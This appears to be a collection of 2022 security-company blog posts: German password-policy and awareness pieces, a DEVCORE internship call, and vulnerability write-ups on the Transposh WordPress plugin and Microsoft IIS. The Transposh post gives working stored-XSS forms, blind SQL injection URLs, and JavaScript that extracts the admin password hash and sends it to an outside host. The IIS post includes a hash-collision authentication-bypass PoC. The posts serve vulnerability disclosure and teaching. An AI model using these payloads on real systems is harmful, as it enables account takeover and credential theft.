Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

HanseSecure auf der itsa 2022

5 July 2022 at 14:11

 

it-sa Expo&Congress

Europas führende Fachmesse für IT-Sicherheit

 

25. – 27. Oktober 2022

NÜRNBERG

 

Wir sehen uns vom 25. – 27. Oktober in Nürnberg auf der it-sa 365 !

 

Was ist die it – sa Expo& Congress?

https://www.itsa365.de/de-de/it-sa-expo-congress/ueber-die-messe

 

Komm vorbei als Besucher!

https://www.itsa365.de/de-de/it-sa-expo-congress/besuchen

Wir sind zu finden:

Halle 6 ⇒ Stand 6 – 229

 

Der Beitrag HanseSecure auf der itsa 2022 erschien zuerst auf HanseSecure GmbH.

Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung

15 July 2022 at 14:55

 

Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung

 

 

Ein gewöhnlicher Arbeitstag bei der Usability-First AG in München. Die 2000 Mitarbeiter arbeiten derzeit an zahlreichen Großprojekten und fokussieren entsprechend die Produktivität. Auch Nina Nixmerker ist in Ihrem Projekt vertieft. Am Samstagmorgen wählt sich Nina aus dem HomeOffice ein, um noch einige Projektabschnitte für Montag abzuschließen. Sie wundert sich kurz, dass Sie bei der Anmeldung ihre bestehende Session beenden muss, da Sie sich sicher ist, sich am Freitag noch regulär abgemeldet zu haben.

Am Montag stellte die IT fest, dass ihre Zugangsdaten nicht mehr funktionierten. Nachdem Sie sich mit dem Notfall-Admin Account angemeldet haben, mussten diese feststellen, dass sich keine Dateien mehr öffnen ließen und mit einer .locked-Dateiendung versehen waren. Nach wenigen Minuten startete ein Chatfenster bei dem Account der IT mit dem Hinweis, dass die Unternehmensdateien verschlüsselt seien und man ab 15 Uhr für die Verhandlungen zur Verfügung stünde.

 

Was ist passiert?

 

Das Unternehmen Usability-First hat es in den vergangenen Jahren versäumt eine Password Policy einzuführen, noch die Nutzer entsprechend zu sensibilisieren. Somit arbeiteten alle 2000 Mitarbeiter im Unternehmen mit der Default Windows Domain Policy, welche unter anderem folgende Werte vorgibt:

  • Passwort Länge: 7 Zeichen
    Die Passwörter müssen mindestens 7 Zeichen lang sein, d.h. mit einer durchschnittlichen Gamer-Hardware kann ein Angreifer die Passwörter unter einem Tag knacken, wenn dieser Passwort-Hashes erlangt. Außerdem wird die Liste mögliche Passwörter, welche von den Nutzern verwendet werden, stark eingeschränkt was zum einen sogenannte Wörterbuch-Attacken begünstigt und zum anderen klassische Brute-Force Angriffe auf Login Funktionen.
  • Lockout-Schwelle: Deaktiviert
    Ein Angreifer kann potentiell unendlich Login-Versuche auf die Accounts durchführen. Dies könnte an öffentlichen Diensten wie einen OWA oder M365 missbraucht werden, deutlich gravierender wäre jedoch, wenn ein Angreifer im internen Netzwerk Passwörter ausprobieren kann.

Aufgrund fehlender Awareness, Tools und Unternehmensvorgaben hatte Nina Nixmerker für alle Ihre Accounts das gleiche Passwort. Das Passwort Nina.N1! verwendete Sie sowohl auf Social Media wie Twitter, Instagram und Facebook, wie auch für Ihren Windows und VPN-Account.

Durch einen Datenleak bei Facebook wurde 2021 ihr Passwort offengelegt, wodurch Angreifer zunächst ihre privaten Accounts kompromittiert haben. Hierdurch stellten die Angreifer fest, dass Nina in einer mittleren Management Position in einem Umsatzstarken Unternehmen tätig war. Nachdem die Angreifer sich anschließend im Netzwerk angemeldet hatten, stellten diese fest, dass zahlreiche User (darunter auch der Domain Admin) den Usernamen als Passwort verwendeten, wodurch diese im Zeitraum von Freitagabend bis Montag das gesamte Unternehmen verschlüsseln konnten.

 

Was tun?

 

Es gibt grundsätzlich 4 einfache und eine mittelkomplexe Maßnahme zur Minimierung derartiger Risiken.

Passwort Safe

Kaum jemand kann sich mehr als eine Hand voll komplexer Passwörter merken. Wir sind der Überzeugung, dass Nutzer sich in der Regel nur 3 Passwörter merken müssen.

  • Smartphone
  • Windows/ Mac Login
  • Passwort Safe

Alle weiteren Zugangsdaten werden in einem Passwort Safe erzeugt und verschlüsselt abgelegt. Bei der Auswahl des Tools solltet Ihr folgende Aspekte beachten:
Einfache Nutzung für die Nutzer (also Apps für Client, Smartphone und Plugin für Browser), Synchronisierung über Geräte und Rollen- und Rechtestruktur. Wir sind zusätzlich der Meinung, dass man Passwortsafes niemals in der Cloud hosten sollte, sollte immer eine OnPrem Lösung bevorzugen sollte.

Password Policy

Eine angemessene Password Policy im Unternehmen würde verhindern, dass sehr einfach und unbedacht Passwörter verwendet werden. Auch eine Lockout Sperre bei fehlgeschlagenen Anmeldeversuchen ist zwingend erforderlich. Wir empfehlen unseren Kunden folgende Konfiguration

  • Passwortlänge: 12 Zeichen
  • Passwortalter: 180 Tage
  • Lockout-welle: 10 Versuche
  • Lockout-Dauer: 6h
  • Reset Lockout-Counter: 6h

Dies ist unsere Empfehlung aus zahlreichen Assessments der vergangenen Jahrzenten. Falls Ihr der Meinung seid, dass 14 Zeichen mit unendlichem Passwortalter die bessere Alternative ist, seid ihr herzlich eingeladen mit mir auf Twitter zu diskutieren 😉

 

 

 

Awareness

Ohne ein grundlegendes Verständnis über Passwörter (Mehrfachverwendung – Datenleak, Identitätsdiebstahl, Schwache Passwörter, etc.) helfen die oben aufgeführten Maßnahmen nur bedingt. Deshalb sollten die Nutzer bezüglich dieses Themas (mindestens bei Onboarding im Idealfall 1x/Jahr) Informationen zu diesem Thema erhalten. Hier ein inhaltliches Beispiel für Tipps zum merken sicherer Passwörter -> Link auf Blogbeitrag

 

Audits

Sofern möglich, sollten mindestens die Passwörter in der Domain und bei öffentlichen (aus dem Internet erreichbar) Anwendungen jährlich überprüft werden. Bei Fragen, wie man dies im Idealfall prüft, sucht Euch einfach einen Dienstleister Eures Vertrauens

 

Sicherheitsgewinn

  • hoch

 

 

*Aus der Blog-Serie Top Security QuickFails

 

Der Beitrag Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung erschien zuerst auf HanseSecure GmbH.

WordPress Transposh: Exploiting a Blind SQL Injection via XSS

22 July 2022 at 00:00

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

  • The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
  • The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
  • The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

  • 46: the lowest end of the possible character set –> cur (current) value.
  • 122: the upper end of the possible character set –> max (maximum) value.
  • 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

DEVCORE 2022 第二屆實習生計畫

24 July 2022 at 16:00

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 9 月開始到 2023 年 2 月底,共 6 個月。
    • 備註:若應徵人數過多,我們評估無法在 08/26 前決定人選。整體實習時間將會順延一至兩週,屆時會提早發信通知所有應徵者。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷資格審查
  • 問答題答案(共 2 題,各組別題目不同,詳見下方報名方式

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。

第二階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/08/12(五)23:59 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 題目如下,請依照欲申請之組別回答
    • Binary
      • 簡答題
        • 假設你今天要分析一台印表機
          • 你會如何去分析 ?
          • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。
      • (上述題目建議撰寫 1~2 頁即可)

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

HanseSecure im ARD München Report

14 August 2022 at 10:26

Gefahr -Identitätsdiebstahl bei Bewerbungen im Netz

Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl.
“Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten”, somit -VIELEN DANK für IHRE IDENTITÄT.
Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.

Zusammenfassung

  • Identitätsdiebstahl geht ohne großen Aufwand & Kosten
  • Strafanzeigen für den Bewerber folgen
  • Personalausweis & Pässe niemals online zeigen/ schicken!

Links

Wer sich den Beitrag ansehen möchte, kann sich diesen entweder als Beitrag oder Video ansehen 😉

Der Beitrag HanseSecure im ARD München Report erschien zuerst auf HanseSecure GmbH.

HanseSecure als Speaker in der Allianz Arena München

14 August 2022 at 11:27

Rückblick

Am 21.Juli 2022 lud die „blu Sytems GmbH“ zum Praxistalk ein.

Thema

DIGITAL GOVERNANCE- NUR EIN WEITERES BUZZWORD?

Teilnehmer

Partner der „blu Systems GmbH“ Führungskräfte, IT-Leiter, IT Security Manager

Talking Points

“Security einfach, schnell und kostenfrei”

  • präzise, verständlich, handhabbare Tipps zur Optimierung der IT- Sicherheit in Ihrem Unternehmen
  • 6 QuickFails > einfach umzusetzen- keine großen Kosten- schnell, mit großem Security Impact z.B. LAPS, Office Macros

Der Beitrag HanseSecure als Speaker in der Allianz Arena München erschien zuerst auf HanseSecure GmbH.

Let's Dance in the Cache - Destabilizing Hash Table on Microsoft IIS

17 August 2022 at 16:00

Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:

As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.

Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!

Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.


P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.

1. IIS Hash-Flooding DoS

It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!

Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!

You can check the full demo video here:

2. IIS Cache Poisoning Attack

Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.

Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!

3. IIS Authentication Bypass

This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.

LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.

CLKRHashTable::CLKRHashTable(
    this,
    "TOKEN_CACHE",   // An identifier for debugging
    pfnExtractKey,   // Extract key from record
    pfnCalcKeyHash,  // Calculate hash signature of key
    pfnEqualKeys,    // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0,             // Bound on the average chain length.
    1,               // Initial size of hash table.
    0,               // Number of subordinate hash tables.
    0                // Allow multiple identical keys?
);

Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.

If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:

As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.

I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.

To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.

# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Under the attacker’s terminal:

# script for sanity check
> type test.py
def HashString(password):
    j = 0
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.

However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!

To make this bug more practical, we proposed several ways to win the lottery, such as:

  1. Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
  2. Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.

We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!

Timeline

  • Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
  • Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
  • Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
  • Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.

戴夫寇爾持續投入資安人才培育 - 啟動全國資訊安全獎學金計劃、延續資安教育活動贊助計劃

25 August 2022 at 16:00

戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。

近來產業紛紛加速數位轉型腳步,資安事件頻傳,加上相關法規的增設及施行,我們也觀察到資安重要性的關注度都大幅提高,為了培養更多人可以理解「駭客思維」、能模擬駭客攻擊情境、找出潛在資安風險,我們將擴大施行「資安人才培育計畫」,透過戴夫寇爾全國資訊安全獎學金贊助資安教育活動等,支持更多志同道合的學子們關注資安議題,及早增強資安技能。

支持下一代資安人才 - 戴夫寇爾啟動「戴夫寇爾全國資訊安全獎學金」計劃

